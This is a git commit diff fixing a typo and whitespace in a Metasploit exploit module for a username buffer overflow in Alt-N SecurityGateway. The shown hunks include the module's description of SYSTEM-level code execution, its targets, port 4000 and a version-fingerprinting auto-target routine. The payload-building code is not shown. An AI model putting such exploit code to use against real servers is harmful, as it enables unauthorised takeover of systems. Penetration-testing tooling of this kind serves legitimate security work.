Fix a small typo
git-svn-id: file:///home/svn/framework3/trunk@8463 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
5dff9c4efc
commit
3fe41a0d94
|
@ -3,7 +3,7 @@
|
|||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
|
@ -18,14 +18,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
include Msf::Exploit::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
super(update_info(info,
|
||||
'Name' => 'Alt-N SecurityGateway username Buffer Overflow',
|
||||
'Description' => %q{
|
||||
Alt-N SecurityGateway is prone to a buffer overflow condition. This
|
||||
is due to insufficient bounds checking on the "username"
|
||||
parameter. Successful exploitation could result in code
|
||||
execution with SYSTEM level privileges.
|
||||
|
||||
|
||||
NOTE: This service doesn't restart, you'll only get one shot. However,
|
||||
it often survives a successful exploitation attempt.
|
||||
},
|
||||
|
@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic Targeting', { } ],
|
||||
# NOTE: the return address must be tolower() safe
|
||||
|
@ -65,26 +65,26 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 02 2008'))
|
||||
|
||||
|
||||
register_options([Opt::RPORT(4000)], self.class)
|
||||
end
|
||||
|
||||
|
||||
# Identify the target based on the SecurityGateway version number
|
||||
def auto_target
|
||||
print_status("Attempting to automatically selct a target...")
|
||||
print_status("Attempting to automatically select a target...")
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => '/SecurityGateway.dll'
|
||||
}, 10)
|
||||
|
||||
|
||||
if (res and res.headers['Server'] =~ /SecurityGateway (1\..*)$/)
|
||||
case $1
|
||||
when /1\.0\.1/
|
||||
return self.targets[1]
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Not vulnerable
|
||||
return nil
|
||||
end
|
||||
|
@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# handle auto-targeting
|
||||
mytarget = target
|
||||
if target.name =~ /Automatic/
|
||||
|
||||
|
||||
mytarget = auto_target
|
||||
if mytarget.nil?
|
||||
raise RuntimeError, "Unable to automatically select a target"
|
||||
|
@ -129,3 +129,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue